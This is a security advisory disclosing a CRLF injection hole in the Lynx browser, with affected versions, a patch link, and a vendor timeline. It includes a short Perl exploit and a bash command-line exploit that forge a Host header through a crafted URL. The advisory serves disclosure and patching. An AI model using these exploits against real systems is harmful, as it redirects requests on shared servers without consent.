Lynx CRLF Injection


PROGRAM: Lynx
VENDOR: Lynx-Dev List <lynx-dev@sig.net>
HOMEPAGE: http://lynx.browser.org/
VULNERABLE VERSIONS: 2.8.4rel.1, 2.8.5dev.8, 2.8.3rel.1, 2.8.2rel.1,
                     possibly others
IMMUNE VERSIONS: 2.8.4rel.1 with all patches applied
PATCH: ftp://lynx.isc.org/lynx2.8.4/patches/lynx2.8.4rel.1c.patch
SEVERITY: medium


DESCRIPTION:

"Lynx is a fully-featured World Wide Web (WWW) client for users
running cursor-addressable, character-cell display devices such
as vt100 terminals, vt100 emulators running on Windows 95/NT or
Macintoshes, or any other character-cell display.  It will display
Hypertext Markup Language (HTML) documents containing links to files
on the local system, as well as files on remote systems running
http, gopher, ftp, wais, nntp, finger, or cso/ph/qi servers, and
services accessible via logins to telnet, tn3270 or rlogin accounts.
Current versions of Lynx run on Unix, VMS, Windows95/NT, 386DOS
and OS/2 EMX."

(direct quote from the program's README file)

Lynx is published under the terms of the GNU General Public License.
It is a very common program (I personally have used it since 1995),
but this hole will only affect some of its users.


SUMMARY:

If you give Lynx a URL with some special characters on the command
line, it will include faked headers in the HTTP query. This way,
you can make scripts that use Lynx for downloading files access
the wrong site on a web server with multiple virtual hosts.


TECHNICAL DETAILS:

When a URL is given on the command line or in the WWW_HOME
environment variable, Lynx doesn't remove or encode dangerous
characters such as space, tab, CR and LF before constructing HTTP
queries. This means that an attacker can construct a URL that will
send arbitrary faked HTTP headers, by adding space + "HTTP/1.0" +
CRLF + some headers + CRLF + CRLF after the normal URL. Lynx's own
HTTP headers are sent after the faked headers, but the web server
ignores them, as our CRLF + CRLF pair above indicates the end of
the headers.

This may cause some security problems. One scenario is when a
program starts Lynx, and the host part of the URL is supplied
by the program and the path by its user (something like "lynx
http://www.site3.st/$path", where the value of $path is defined by
the user). An attacker can make such a program access some other web
site than www.site3.st, if it's a virtual host on the same machine
as www.site3.st, by adding a "Host:" header as described above.

Relative links don't work in web pages that are fetched this way. If
there is a relative link like  <a href="sunnanvind.html">Sunnan</a>
and the user follows it, Lynx gets confused.

To get more information about this type of hole,
read my paper "CRLF Injection", which is available at
http://cert.uni-stuttgart.de/archive/bugtraq/2002/05/msg00079.html


PERL EXPLOIT:

#!/usr/bin/perl --
# Ulf Harnhammar 2002
# example: ./exploit www.site1.st www.site2.st
# will show www.site2.st

die "$0 hostone hosttwo\n" if @ARGV != 2;

exec('lynx "'.
     "http://$ARGV[0]/ HTTP/1.0\012".
     "Host: $ARGV[1]\012\012".
     '"');


BASH COMMAND LINE EXPLOIT:

(This exploit assumes that www.site1.st and www.site2.st are virtual
hosts on the same machine. Lynx will show www.site2.st.)

[ulf@metaur ulf]$ lynx "http://www.site1.st/ HTTP/1.0
Host: www.site2.st

"


COMMUNICATION WITH VENDOR:

The vendor was contacted on the 13th of August. Their patch was
released and announced on the Lynx-Dev list on the 18th.


// Ulf Harnhammar
ulfh@update.uu.se